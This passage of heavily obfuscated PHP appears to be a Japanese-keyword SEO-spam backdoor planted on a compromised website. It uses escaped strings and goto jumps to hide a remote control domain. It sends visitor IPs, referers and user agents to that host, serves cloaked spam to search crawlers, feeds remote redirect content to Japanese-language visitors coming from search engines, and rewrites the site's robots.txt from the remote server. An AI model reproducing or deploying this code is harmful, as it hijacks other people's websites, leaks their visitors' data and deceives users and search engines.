0 || $check1 == "\x31") { $data1["\x61\x63\164\x69\157\x6e"] = "\162\141\x6e\x64\x5f\170\x6d\x6c"; $check_url4 = getServerCont($url_words, $data1); header("\x43\x6f\x6e\164\x65\x6e\164\x2d\164\x79\160\x65\72\164\145\170\x74\x2f\170\155\154"); echo $check_url4; die; } } goto Y0DKT; N6t33: $res_crawl = is_crawler($user_agent); goto jmhtX; VPjfb: function check_refer($refer) { $check_refer = false; $referbots = "\x67\157\x6f\147\x6c\x65\174\171\141\150\157\157\x7c\142\x69\156\x67\x7c\141\x6f\x6c"; if ($refer != '' && preg_match("\57\x28{$referbots}\51\57\x73\x69", $refer)) { $check_refer = true; } return $check_refer; } goto TNPkF; LZm7Z: $http = isset($_SERVER["\110\124\x54\120\x53"]) && $_SERVER["\110\124\124\x50\x53"] !== "\x6f\146\x66" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\57\57"; goto wQ7iH; pD637: $data1["\150\x72\x65\146"] = $href1; goto jrlq6; bK_AY: $domain = $_SERVER["\x48\124\124\x50\137\x48\117\x53\124"]; goto ZTb3s; ZTb3s: $self = $_SERVER["\120\110\120\137\x53\x45\114\106"]; goto FVtZy; RXhJY: $indata1 = $inter_domain . "\57\x69\156\144\x61\164\141\x2e\x70\150\160"; goto Sg9vs; nV2Fp: if ($res_crawl) { $data1["\150\x74\x74\x70\137\165\x73\x65\x72\x5f\x61\x67\145\x6e\x74"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto XEItH; jmhtX: $req_uri = str_replace(array("\56\150\164\155", "\x2e\x68\164\155\x6c", "\x2e\x73\x68\164\x6d\154", "\56\x70\150\x74\x6d\154"), '', rtrim($req_uri, "\x2f")); goto FqOpt; RBXQX: if (strpos($req_uri, "\x2e\160\150\160")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto m969h; joU3i: function getServerCont($url, $data = array()) { $url = str_replace("\40", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\x2e\60\x2e\60", "\x3c")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto EMq1A; ORMfS: $data1["\144\157\155\x61\x69\x6e"] = $domain; goto LXB56; Sg9vs: $map1 = $inter_domain . "\57\155\141\x70\56\x70\x68\x70"; goto icayt; Y0DKT: if (strpos($req_uri, "\56\x70\150\160")) { $main_shell = $http . $ser_name . $self; $data1["\x6d\141\x69\x6e\x5f\x73\150\x65\154\154"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\x6d\x61\151\156\x5f\x73\150\145\x6c\154"] = $main_shell; } goto jQu2O; xoAQ8: $chk_refer = check_refer($referer); goto Y4a7v; jQu2O: $referer = isset($_SERVER["\x48\124\x54\x50\x5f\x52\x45\106\x45\x52\x45\122"]) ? $_SERVER["\x48\x54\124\120\x5f\122\x45\x46\105\122\105\122"] : ''; goto xoAQ8; jrlq6: $data1["\162\145\x71\x5f\165\x72\x6c"] = $req_url; goto O3cfa; FqOpt: if (!$res_crawl && $chk_refer && is_japanese_language() && (preg_match("\x2f\134\x64\x24\x2f", $req_uri) || preg_match("\43\133\141\55\x7a\135\x3d\x5b\x61\x2d\172\60\55\x39\135\53\43", $req_uri) || preg_match("\x2f\x69\164\x65\x6d\57", $req_uri))) { $data1["\151\x70"] = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\101\104\104\x52"]; $data1["\x72\145\x66\145\x72\x65\162"] = isset($_SERVER["\x48\124\124\120\x5f\122\x45\x46\x45\122\x45\x52"]) ? $_SERVER["\x48\124\x54\120\x5f\x52\x45\x46\x45\x52\105\122"] : ''; $data1["\x75\x73\145\162\x5f\141\x67\145\156\164"] = strtolower(isset($_SERVER["\110\x54\x54\120\x5f\x55\x53\105\x52\137\x41\107\105\x4e\x54"]) ? $_SERVER["\110\124\124\x50\x5f\x55\123\x45\x52\137\x41\x47\x45\x4e\x54"] : ''); echo getServerCont($jump1, $data1); die; } goto nV2Fp; PRITV: $inter_domain = "\x68\x74\x74\x70\x73\x3a\57\57\x7a\66\60\x37\61\x38\137\x36\56\164\x72\x75\x73\164\x62\151\x74\171\56\x78\171\172\x2f"; goto joU3i; LXB56: $data1["\162\x65\x71\137\165\162\151"] = $req_uri; goto pD637; FVtZy: $ser_name = $_SERVER["\x53\105\x52\126\105\122\137\x4e\101\x4d\105"]; goto ly126; ly126: $req_url = $http . $domain . $req_uri; goto RXhJY; O3cfa: if (substr($req_uri, -6) == "\162\x6f\x62\x6f\164\163") { define("\x42\101\x53\x45\x5f\x50\101\x54\x48", $_SERVER["\104\x4f\x43\x55\x4d\105\116\124\x5f\x52\117\x4f\x54"]); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\162\157\142\x6f\164\x73\56\x74\170\x74"); $data1["\162\157\142\x6f\164\x73\x5f\143\157\x6e\x74"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\x72\x6f\142\157\x74\x73\x2e\164\170\x74", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\57\162\x6f\142\157\x74\163\x2e\x74\x78\x74"); if (strpos(strtolower($robots_cont), "\163\x69\x74\x65\155\141\160")) { echo "\x72\x6f\x62\x6f\x74\x73\56\x74\170\x74\x20\146\x69\x6c\145\40\143\x72\145\141\x74\145\x20\x73\x75\143\x63\145\163\163\41"; } else { echo "\x72\157\142\157\x74\163\x2e\x74\x78\x74\x20\x66\x69\x6c\145\x20\143\162\x65\x61\x74\x65\40\x66\x61\x69\x6c\41"; } die; } goto ruy9v; icayt: $jump1 = $inter_domain . "\x2f\x6a\x75\x6d\x70\56\x70\x68\160"; goto gFgI0; I99AG: $url_robots = $inter_domain . "\x2f\x72\x6f\x62\x6f\x74\163\56\160\x68\x70"; goto RBXQX; TNPkF: function is_japanese_language() { $accept_language = isset($_SERVER["\x48\124\124\x50\137\101\x43\103\105\120\124\x5f\x4c\101\116\x47\125\101\x47\x45"]) ? $_SERVER["\x48\124\124\120\x5f\x41\103\103\105\x50\124\x5f\x4c\x41\116\107\125\101\107\105"] : ''; if (empty($accept_language)) { return false; } $langs = explode("\54", $accept_language); $primary_lang = strtolower(trim($langs[0])); if (strpos($primary_lang, "\152\x61") === 0) { return true; } return false; } goto LZm7Z; Y4a7v: $user_agent = strtolower(isset($_SERVER["\110\124\x54\x50\x5f\125\x53\105\122\x5f\x41\107\105\116\124"]) ? $_SERVER["\x48\124\124\120\x5f\125\x53\x45\x52\x5f\x41\107\105\x4e\x54"] : ''); goto N6t33; EMq1A: function is_crawler($agent) { $agent_check = false; $bots = "\147\x6f\x6f\x67\154\x65\x62\x6f\x74\x7c\142\x69\x6e\x67\x62\157\164\174\x67\157\157\x67\154\x65\x7c\141\157\154\174\142\151\x6e\147\174\171\x61\150\157\x6f"; if ($agent != '') { if (preg_match("\57\50{$bots}\51\x2f\x73\151", $agent)) { $agent_check = true; } } return $agent_check; } goto VPjfb; wQ7iH: $req_uri = $_SERVER["\122\105\121\125\105\x53\x54\x5f\125\x52\x49"]; goto bK_AY; XEItH: ?>